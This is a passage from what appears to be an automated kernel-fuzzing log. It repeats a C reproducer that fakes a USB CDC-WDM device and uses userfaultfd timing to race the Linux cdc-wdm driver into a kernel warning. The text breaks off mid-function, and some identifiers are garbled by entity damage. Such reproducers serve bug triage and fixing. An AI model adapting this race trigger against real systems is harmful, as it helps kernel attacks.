.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0UL) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event_ext event;
event.inner.type = 0;
event.inner.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
if (errno == EINTR) continue;
perror("USB_RAW_IOCTL_EVENT_FETCH");
break;
}
if (event.inner.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io_ext io;
io.inner.ep = 0;
io.inner.flags = 0;
io.inner.length = 0;
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.inner.length = sizeof(dev_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &dev_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.inner.length = sizeof(conf_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &conf_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.inner.length = 10;
memset(io.data, 'A', 10);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0UL);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io_ext io_ep1;
io_ep1.inner.ep = ep_in;
io_ep1.inner.flags = 0;
io_ep1.inner.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, (unsigned long)ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
if (poll(&pollfd, 1, -1) < 0) {
perror("poll");
exit(1);
}
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char *page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) {
perror("mmap page");
exit(1);
}
memset(page, 0, 4096);
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
}
]
Results: map[IsProbe:false RawCandidateReproC:#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "race_toolkit.h"
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[0];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[0];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_raw_event_ext {
struct usb_raw_event inner;
__u8 data[64];
};
struct usb_raw_ep_io_ext {
struct usb_raw_ep_io inner;
__u8 data[256];
};
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0UL) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event_ext event;
event.inner.type = 0;
event.inner.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
if (errno == EINTR) continue;
perror("USB_RAW_IOCTL_EVENT_FETCH");
break;
}
if (event.inner.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io_ext io;
io.inner.ep = 0;
io.inner.flags = 0;
io.inner.length = 0;
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.inner.length = sizeof(dev_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &dev_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.inner.length = sizeof(conf_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &conf_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.inner.length = 10;
memset(io.data, 'A', 10);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0UL);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io_ext io_ep1;
io_ep1.inner.ep = ep_in;
io_ep1.inner.flags = 0;
io_ep1.inner.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, (unsigned long)ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
if (poll(&pollfd, 1, -1) < 0) {
perror("poll");
exit(1);
}
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char *page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) {
perror("mmap page");
exit(1);
}
memset(page, 0, 4096);
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
}
]
|
| 440/3 |
2026/09/11 23:49 |
loop |
|
1m
|
| 441/4 |
2026/09/11 23:49 |
iteration |
0 |
1m
|
| 442/5 |
2026/09/11 23:49 |
action |
merge-repro-c |
0m
Results: map[CurrentCandidateReproC:#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "race_toolkit.h"
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[0];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[0];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_raw_event_ext {
struct usb_raw_event inner;
__u8 data[64];
};
struct usb_raw_ep_io_ext {
struct usb_raw_ep_io inner;
__u8 data[256];
};
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0UL) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event_ext event;
event.inner.type = 0;
event.inner.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
if (errno == EINTR) continue;
perror("USB_RAW_IOCTL_EVENT_FETCH");
break;
}
if (event.inner.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io_ext io;
io.inner.ep = 0;
io.inner.flags = 0;
io.inner.length = 0;
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.inner.length = sizeof(dev_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &dev_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.inner.length = sizeof(conf_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &conf_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.inner.length = 10;
memset(io.data, 'A', 10);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0UL);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io_ext io_ep1;
io_ep1.inner.ep = ep_in;
io_ep1.inner.flags = 0;
io_ep1.inner.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, (unsigned long)ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
if (poll(&pollfd, 1, -1) < 0) {
perror("poll");
exit(1);
}
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
